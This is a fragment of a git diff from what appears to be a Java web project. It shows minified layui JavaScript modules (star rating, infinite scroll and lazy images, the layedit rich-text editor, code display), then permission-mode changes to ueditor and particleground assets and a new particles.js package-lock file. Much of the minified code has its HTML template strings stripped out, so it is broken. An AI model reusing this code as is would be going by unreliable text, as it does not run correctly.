            "+(l.text?''+l.value+"星":"")+"";var c=l.elem,f=c.next("."+t);f[0]&&f.remove(),e.elemTemp=a(n),l.span=e.elemTemp.next("span"),l.setText&&l.setText(l.value),c.html(e.elemTemp),c.addClass("layui-inline"),l.readonly||e.action()},v.prototype.setvalue=function(e){var a=this,l=a.config;l.value=e,a.render()},v.prototype.action=function(){var e=this,l=e.config,i=e.elemTemp,n=i.find("i").width();i.children("li").each(function(e){var t=e+1,v=a(this);v.on("click",function(e){if(l.value=t,l.half){var o=e.pageX-a(this).offset().left;o<=n/2&&(l.value=l.value-.5)}l.text&&i.next("span").text(l.value+"星"),l.choose&&l.choose(l.value),l.setText&&l.setText(l.value)}),v.on("mousemove",function(e){if(i.find("i").each(function(){a(this).addClass(o).removeClass(r)}),i.find("i:lt("+t+")").each(function(){a(this).addClass(u).removeClass(f)}),l.half){var c=e.pageX-a(this).offset().left;c<=n/2&&v.children("i").addClass(s).removeClass(u)}}),v.on("mouseleave",function(){i.find("i").each(function(){a(this).addClass(o).removeClass(r)}),i.find("i:lt("+Math.floor(l.value)+")").each(function(){a(this).addClass(u).removeClass(f)}),l.half&&parseInt(l.value)!==l.value&&i.children("li:eq("+Math.floor(l.value)+")").children("i").addClass(s).removeClass(c)})})},v.prototype.events=function(){var e=this;e.config},l.render=function(e){var a=new v(e);return i.call(a)},e(n,l)});layui.define("jquery",function(e){"use strict";var l=layui.$,o=function(e){},t='';o.prototype.load=function(e){var o,i,n,r,a=this,c=0;e=e||{};var f=l(e.elem);if(f[0]){var m=l(e.scrollElem||document),u=e.mb||50,s=!("isAuto"in e)||e.isAuto,v=e.end||"没有更多了",y=e.scrollElem&&e.scrollElem!==document,d="加载更多",h=l('");f.find(".layui-flow-more")[0]||f.append(h);var p=function(e,t){e=l(e),h.before(e),t=0==t||null,t?h.html(v):h.find("a").html(d),i=t,o=null,n&&n()},g=function(){o=!0,h.find("a").html(t),"function"==typeof e.done&&e.done(++c,p)};if(g(),h.find("a").on("click",function(){l(this);i||o||g()}),e.isLazyimg)var n=a.lazyimg({elem:e.elem+" img",scrollElem:e.scrollElem});return s?(m.on("scroll",function(){var e=l(this),t=e.scrollTop();r&&clearTimeout(r),!i&&f.width()&&(r=setTimeout(function(){var i=y?e.height():l(window).height(),n=y?e.prop("scrollHeight"):document.documentElement.scrollHeight;n-t-i<=u&&(o||g())},100))}),a):a}},o.prototype.lazyimg=function(e){var o,t=this,i=0;e=e||{};var n=l(e.scrollElem||document),r=e.elem||"img",a=e.scrollElem&&e.scrollElem!==document,c=function(e,l){var o=n.scrollTop(),r=o+l,c=a?function(){return e.offset().top-n.offset().top+o}():e.offset().top;if(c>=o&&c<=r&&!e.attr("src")){var m=e.attr("lay-src");layui.img(m,function(){var l=t.lazyimg.elem.eq(i);e.attr("src",m).removeAttr("lay-src"),l[0]&&f(l),i++})}},f=function(e,o){var f=a?(o||n).height():l(window).height(),m=n.scrollTop(),u=m+f;if(t.lazyimg.elem=l(r),e)c(e,f);else for(var s=0;su)break}};if(f(),!o){var m;n.on("scroll",function(){var e=l(this);m&&clearTimeout(m),m=setTimeout(function(){f(null,e)},50)}),o=!0}return f},e("flow",new o)});layui.define(["layer","form"],function(t){"use strict";var e=layui.$,i=layui.layer,a=layui.form,l=(layui.hint(),layui.device()),n="layedit",o="layui-show",r="layui-disabled",c=function(){var t=this;t.index=0,t.config={tool:["strong","italic","underline","del","|","left","center","right","|","link","unlink","face","image"],hideTool:[],height:280}};c.prototype.set=function(t){var i=this;return e.extend(!0,i.config,t),i},c.prototype.on=function(t,e){return layui.onevent(n,t,e)},c.prototype.build=function(t,i){i=i||{};var a=this,n=a.config,r="layui-layedit",c=e("string"==typeof t?"#"+t:t),u="LAY_layedit_"+ ++a.index,d=c.next("."+r),y=e.extend({},n,i),f=function(){var t=[],e={};return layui.each(y.hideTool,function(t,i){e[i]=!0}),layui.each(y.tool,function(i,a){C[a]&&!e[a]&&t.push(C[a])}),t.join("")}(),m=e(['
            ','
            '+f+"
            ",'
            ','',"
            ","
            "].join(""));return l.ie&&l.ie<8?c.removeClass("layui-hide").addClass(o):(d[0]&&d.remove(),s.call(a,m,c[0],y),c.addClass("layui-hide").after(m),a.index)},c.prototype.getContent=function(t){var e=u(t);if(e[0])return d(e[0].document.body.innerHTML)},c.prototype.getText=function(t){var i=u(t);if(i[0])return e(i[0].document.body).text()},c.prototype.setContent=function(t,i,a){var l=u(t);l[0]&&(a?e(l[0].document.body).append(i):e(l[0].document.body).html(i),layedit.sync(t))},c.prototype.sync=function(t){var i=u(t);if(i[0]){var a=e("#"+i[1].attr("textarea"));a.val(d(i[0].document.body.innerHTML))}},c.prototype.getSelection=function(t){var e=u(t);if(e[0]){var i=m(e[0].document);return document.selection?i.text:i.toString()}};var s=function(t,i,a){var l=this,n=t.find("iframe");n.css({height:a.height}).on("load",function(){var o=n.contents(),r=n.prop("contentWindow"),c=o.find("head"),s=e([""].join("")),u=o.find("body");c.append(s),u.attr("contenteditable","true").css({"min-height":a.height}).html(i.value||""),y.apply(l,[r,n,i,a]),g.call(l,r,t,a)})},u=function(t){var i=e("#LAY_layedit_"+t),a=i.prop("contentWindow");return[a,i]},d=function(t){return 8==l.ie&&(t=t.replace(/<.+>/g,function(t){return t.toLowerCase()})),t},y=function(t,a,n,o){var r=t.document,c=e(r.body);c.on("keydown",function(t){var e=t.keyCode;if(13===e){var a=m(r),l=p(a),n=l.parentNode;if("pre"===n.tagName.toLowerCase()){if(t.shiftKey)return;return i.msg("请暂时用shift+enter"),!1}r.execCommand("formatBlock",!1,"

            ")}}),e(n).parents("form").on("submit",function(){var t=c.html();8==l.ie&&(t=t.replace(/<.+>/g,function(t){return t.toLowerCase()})),n.value=t}),c.on("paste",function(e){r.execCommand("formatBlock",!1,"

            "),setTimeout(function(){f.call(t,c),n.value=c.html()},100)})},f=function(t){var i=this;i.document;t.find("*[style]").each(function(){var t=this.style.textAlign;this.removeAttribute("style"),e(this).css({"text-align":t||""})}),t.find("table").addClass("layui-table"),t.find("script,link").remove()},m=function(t){return t.selection?t.selection.createRange():t.getSelection().getRangeAt(0)},p=function(t){return t.endContainer||t.parentElement().childNodes[0]},v=function(t,i,a){var l=this.document,n=document.createElement(t);for(var o in i)n.setAttribute(o,i[o]);if(n.removeAttribute("text"),l.selection){var r=a.text||i.text;if("a"===t&&!r)return;r&&(n.innerHTML=r),a.pasteHTML(e(n).prop("outerHTML")),a.select()}else{var r=a.toString()||i.text;if("a"===t&&!r)return;r&&(n.innerHTML=r),a.deleteContents(),a.insertNode(n)}},h=function(t,i){var a=this.document,l="layedit-tool-active",n=p(m(a)),o=function(e){return t.find(".layedit-tool-"+e)};i&&i[i.hasClass(l)?"removeClass":"addClass"](l),t.find(">i").removeClass(l),o("unlink").addClass(r),e(n).parents().each(function(){var t=this.tagName.toLowerCase(),e=this.style.textAlign;"b"!==t&&"strong"!==t||o("b").addClass(l),"i"!==t&&"em"!==t||o("i").addClass(l),"u"===t&&o("u").addClass(l),"strike"===t&&o("d").addClass(l),"p"===t&&("center"===e?o("center").addClass(l):"right"===e?o("right").addClass(l):o("left").addClass(l)),"a"===t&&(o("link").addClass(l),o("unlink").removeClass(r))})},g=function(t,a,l){var n=t.document,o=e(n.body),c={link:function(i){var a=p(i),l=e(a).parent();b.call(o,{href:l.attr("href"),target:l.attr("target")},function(e){var a=l[0];"A"===a.tagName?a.href=e.url:v.call(t,"a",{target:e.target,href:e.url,text:e.url},i)})},unlink:function(t){n.execCommand("unlink")},face:function(e){x.call(this,function(i){v.call(t,"img",{src:i.src,alt:i.alt},e)})},image:function(a){var n=this;layui.use("upload",function(o){var r=l.uploadImage||{};o.render({url:r.url,method:r.type,elem:e(n).find("input")[0],done:function(e){0==e.code?(e.data=e.data||{},v.call(t,"img",{src:e.data.src,alt:e.data.title},a)):i.msg(e.msg||"上传失败")}})})},code:function(e){k.call(o,function(i){v.call(t,"pre",{text:i.code,"lay-lang":i.lang},e)})},help:function(){i.open({type:2,title:"帮助",area:["600px","380px"],shadeClose:!0,shade:.1,skin:"layui-layer-msg",content:["","no"]})}},s=a.find(".layui-layedit-tool"),u=function(){var i=e(this),a=i.attr("layedit-event"),l=i.attr("lay-command");if(!i.hasClass(r)){o.focus();var u=m(n);u.commonAncestorContainer;l?(n.execCommand(l),/justifyLeft|justifyCenter|justifyRight/.test(l)&&n.execCommand("formatBlock",!1,"

            "),setTimeout(function(){o.focus()},10)):c[a]&&c[a].call(this,u),h.call(t,s,i)}},d=/image/;s.find(">i").on("mousedown",function(){var t=e(this),i=t.attr("layedit-event");d.test(i)||u.call(this)}).on("click",function(){var t=e(this),i=t.attr("layedit-event");d.test(i)&&u.call(this)}),o.on("click",function(){h.call(t,s),i.close(x.index)})},b=function(t,e){var l=this,n=i.open({type:1,id:"LAY_layedit_link",area:"350px",shade:.05,shadeClose:!0,moveType:1,title:"超链接",skin:"layui-layer-msg",content:['

              ','
            • ','','
              ','',"
              ","
            • ",'
            • ','','
              ','",'","
              ","
            • ",'
            • ','','',"
            • ","
            "].join(""),success:function(t,n){var o="submit(layedit-link-yes)";a.render("radio"),t.find(".layui-btn-primary").on("click",function(){i.close(n),l.focus()}),a.on(o,function(t){i.close(b.index),e&&e(t.field)})}});b.index=n},x=function(t){var a=function(){var t=["[微笑]","[嘻嘻]","[哈哈]","[可爱]","[可怜]","[挖鼻]","[吃惊]","[害羞]","[挤眼]","[闭嘴]","[鄙视]","[爱你]","[泪]","[偷笑]","[亲亲]","[生病]","[太开心]","[白眼]","[右哼哼]","[左哼哼]","[嘘]","[衰]","[委屈]","[吐]","[哈欠]","[抱抱]","[怒]","[疑问]","[馋嘴]","[拜拜]","[思考]","[汗]","[困]","[睡]","[钱]","[失望]","[酷]","[色]","[哼]","[鼓掌]","[晕]","[悲伤]","[抓狂]","[黑线]","[阴险]","[怒骂]","[互粉]","[心]","[伤心]","[猪头]","[熊猫]","[兔子]","[ok]","[耶]","[good]","[NO]","[赞]","[来]","[弱]","[草泥马]","[神马]","[囧]","[浮云]","[给力]","[围观]","[威武]","[奥特曼]","[礼物]","[钟]","[话筒]","[蜡烛]","[蛋糕]"],e={};return layui.each(t,function(t,i){e[i]=layui.cache.dir+"images/face/"+t+".gif"}),e}();return x.hide=x.hide||function(t){"face"!==e(t.target).attr("layedit-event")&&i.close(x.index)},x.index=i.tips(function(){var t=[];return layui.each(a,function(e,i){t.push('
          • '+e+'
          • ')}),'
              '+t.join("")+"
            "}(),this,{tips:1,time:0,skin:"layui-box layui-util-face",maxWidth:500,success:function(l,n){l.css({marginTop:-4,marginLeft:-10}).find(".layui-clear>li").on("click",function(){t&&t({src:a[this.title],alt:this.title}),i.close(n)}),e(document).off("click",x.hide).on("click",x.hide)}})},k=function(t){var e=this,l=i.open({type:1,id:"LAY_layedit_code",area:"550px",shade:.05,shadeClose:!0,moveType:1,title:"插入代码",skin:"layui-layer-msg",content:['
              ','
            • ','','
              ','","
              ","
            • ",'
            • ','','
              ','',"
              ","
            • ",'
            • ','','',"
            • ","
            "].join(""),success:function(l,n){var o="submit(layedit-code-yes)";a.render("select"),l.find(".layui-btn-primary").on("click",function(){i.close(n),e.focus()}),a.on(o,function(e){i.close(k.index),t&&t(e.field)})}});k.index=l},C={html:'',strong:'',italic:'',underline:'',del:'',"|":'',left:'',center:'',right:'',link:'',unlink:'',face:'',image:'',code:'',help:''},L=new c;t(n,L)});layui.define("jquery",function(a){"use strict";var e=layui.$;a("code",function(a){var l=[];a=a||{},a.elem=e(a.elem||".layui-code"),a.lang="lang"in a?a.lang:"code",a.elem.each(function(){l.push(this)}),layui.each(l.reverse(),function(l,i){var t=e(i),c=t.html();(t.attr("lay-encode")||a.encode)&&(c=c.replace(/&(?!#?[a-zA-Z0-9]+;)/g,"&").replace(//g,">").replace(/'/g,"'").replace(/"/g,""")),t.html('
            1. '+c.replace(/[\r\t\n]+/g,"
            2. ")+"
            "),t.find(">.layui-code-h3")[0]||t.prepend('

            '+(t.attr("lay-title")||a.title||"</>")+''+(t.attr("lay-lang")||a.lang||"")+"

            ");var n=t.find(">.layui-code-ol");t.addClass("layui-box layui-code-view"),(t.attr("lay-skin")||a.skin)&&t.addClass("layui-code-"+(t.attr("lay-skin")||a.skin)),(n.find("li").length/100|0)>0&&n.css("margin-left",(n.find("li").length/100|0)+"px"),(t.attr("lay-height")||a.height)&&n.css("max-height",t.attr("lay-height")||a.height)})})}).addcss("modules/code.css?v=ueditor","skincodecss"); \ No newline at end of file diff --git a/src/main/resources/static/lib/particles/jquery.particleground.min.js b/src/main/resources/static/lib/particles/jquery.particleground.min.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/particles/package-lock.json b/src/main/resources/static/lib/particles/package-lock.json new file mode 100644 index 0000000..62e9981 --- /dev/null +++ b/src/main/resources/static/lib/particles/package-lock.json @@ -0,0 +1,13 @@ +{ + "name": "particles.js", + "version": "2.0.0", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "particles.js", + "version": "2.0.0", + "license": "MIT" + } + } +} diff --git a/src/main/resources/static/lib/ueditor/demo.html b/src/main/resources/static/lib/ueditor/demo.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/anchor/anchor.html b/src/main/resources/static/lib/ueditor/dialogs/anchor/anchor.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/attachment.css b/src/main/resources/static/lib/ueditor/dialogs/attachment/attachment.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/attachment.html b/src/main/resources/static/lib/ueditor/dialogs/attachment/attachment.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/attachment.js b/src/main/resources/static/lib/ueditor/dialogs/attachment/attachment.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_chm.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_chm.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_default.png b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_default.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_doc.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_doc.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_exe.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_exe.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_jpg.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_jpg.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_mp3.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_mp3.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_mv.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_mv.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_pdf.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_pdf.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_ppt.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_ppt.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_psd.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_psd.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_rar.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_rar.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_txt.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_txt.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_xls.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/fileTypeImages/icon_xls.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/alignicon.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/alignicon.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/alignicon.png b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/alignicon.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/bg.png b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/bg.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/file-icons.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/file-icons.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/file-icons.png b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/file-icons.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/icons.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/icons.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/icons.png b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/icons.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/image.png b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/image.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/progress.png b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/progress.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/success.gif b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/success.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/attachment/images/success.png b/src/main/resources/static/lib/ueditor/dialogs/attachment/images/success.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/background/background.css b/src/main/resources/static/lib/ueditor/dialogs/background/background.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/background/background.html b/src/main/resources/static/lib/ueditor/dialogs/background/background.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/background/background.js b/src/main/resources/static/lib/ueditor/dialogs/background/background.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/background/images/bg.png b/src/main/resources/static/lib/ueditor/dialogs/background/images/bg.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/background/images/success.png b/src/main/resources/static/lib/ueditor/dialogs/background/images/success.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/charts/chart.config.js b/src/main/resources/static/lib/ueditor/dialogs/charts/chart.config.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/charts/charts.css b/src/main/resources/static/lib/ueditor/dialogs/charts/charts.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/charts/charts.html b/src/main/resources/static/lib/ueditor/dialogs/charts/charts.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/charts/charts.js b/src/main/resources/static/lib/ueditor/dialogs/charts/charts.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts0.png b/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts0.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts1.png b/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts1.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts2.png b/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts2.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts3.png b/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts3.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts4.png b/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts4.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts5.png b/src/main/resources/static/lib/ueditor/dialogs/charts/images/charts5.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/emotion.css b/src/main/resources/static/lib/ueditor/dialogs/emotion/emotion.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/emotion.html b/src/main/resources/static/lib/ueditor/dialogs/emotion/emotion.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/emotion.js b/src/main/resources/static/lib/ueditor/dialogs/emotion/emotion.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/images/0.gif b/src/main/resources/static/lib/ueditor/dialogs/emotion/images/0.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/images/bface.gif b/src/main/resources/static/lib/ueditor/dialogs/emotion/images/bface.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/images/cface.gif b/src/main/resources/static/lib/ueditor/dialogs/emotion/images/cface.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/images/fface.gif b/src/main/resources/static/lib/ueditor/dialogs/emotion/images/fface.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/images/jxface2.gif b/src/main/resources/static/lib/ueditor/dialogs/emotion/images/jxface2.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/images/neweditor-tab-bg.png b/src/main/resources/static/lib/ueditor/dialogs/emotion/images/neweditor-tab-bg.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/images/tface.gif b/src/main/resources/static/lib/ueditor/dialogs/emotion/images/tface.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/images/wface.gif b/src/main/resources/static/lib/ueditor/dialogs/emotion/images/wface.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/emotion/images/yface.gif b/src/main/resources/static/lib/ueditor/dialogs/emotion/images/yface.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/gmap/gmap.html b/src/main/resources/static/lib/ueditor/dialogs/gmap/gmap.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/help/help.css b/src/main/resources/static/lib/ueditor/dialogs/help/help.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/help/help.html b/src/main/resources/static/lib/ueditor/dialogs/help/help.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/help/help.js b/src/main/resources/static/lib/ueditor/dialogs/help/help.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/image.css b/src/main/resources/static/lib/ueditor/dialogs/image/image.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/image.html b/src/main/resources/static/lib/ueditor/dialogs/image/image.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/image.js b/src/main/resources/static/lib/ueditor/dialogs/image/image.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/images/alignicon.jpg b/src/main/resources/static/lib/ueditor/dialogs/image/images/alignicon.jpg old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/images/bg.png b/src/main/resources/static/lib/ueditor/dialogs/image/images/bg.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/images/icons.gif b/src/main/resources/static/lib/ueditor/dialogs/image/images/icons.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/images/icons.png b/src/main/resources/static/lib/ueditor/dialogs/image/images/icons.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/images/image.png b/src/main/resources/static/lib/ueditor/dialogs/image/images/image.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/images/progress.png b/src/main/resources/static/lib/ueditor/dialogs/image/images/progress.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/images/success.gif b/src/main/resources/static/lib/ueditor/dialogs/image/images/success.gif old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/image/images/success.png b/src/main/resources/static/lib/ueditor/dialogs/image/images/success.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/insertframe/insertframe.html b/src/main/resources/static/lib/ueditor/dialogs/insertframe/insertframe.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/internal.js b/src/main/resources/static/lib/ueditor/dialogs/internal.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/link/link.html b/src/main/resources/static/lib/ueditor/dialogs/link/link.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/map/map.html b/src/main/resources/static/lib/ueditor/dialogs/map/map.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/map/show.html b/src/main/resources/static/lib/ueditor/dialogs/map/show.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/music/music.css b/src/main/resources/static/lib/ueditor/dialogs/music/music.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/music/music.html b/src/main/resources/static/lib/ueditor/dialogs/music/music.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/music/music.js b/src/main/resources/static/lib/ueditor/dialogs/music/music.js old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/preview/preview.html b/src/main/resources/static/lib/ueditor/dialogs/preview/preview.html old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/addimg.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/addimg.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/brush.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/brush.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/delimg.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/delimg.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/delimgH.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/delimgH.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/empty.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/empty.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/emptyH.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/emptyH.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/eraser.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/eraser.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/redo.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/redo.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/redoH.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/redoH.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/scale.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/scale.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/scaleH.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/scaleH.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/size.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/size.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/undo.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/undo.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/undoH.png b/src/main/resources/static/lib/ueditor/dialogs/scrawl/images/undoH.png old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/scrawl.css b/src/main/resources/static/lib/ueditor/dialogs/scrawl/scrawl.css old mode 100644 new mode 100755 diff --git a/src/main/resources/static/lib/ueditor/dialogs/scrawl/scrawl.html b/src/main/resources/static/lib/ueditor/dialogs/scrawl/scrawl.html old mode 100644 new mode 100755 diff --git 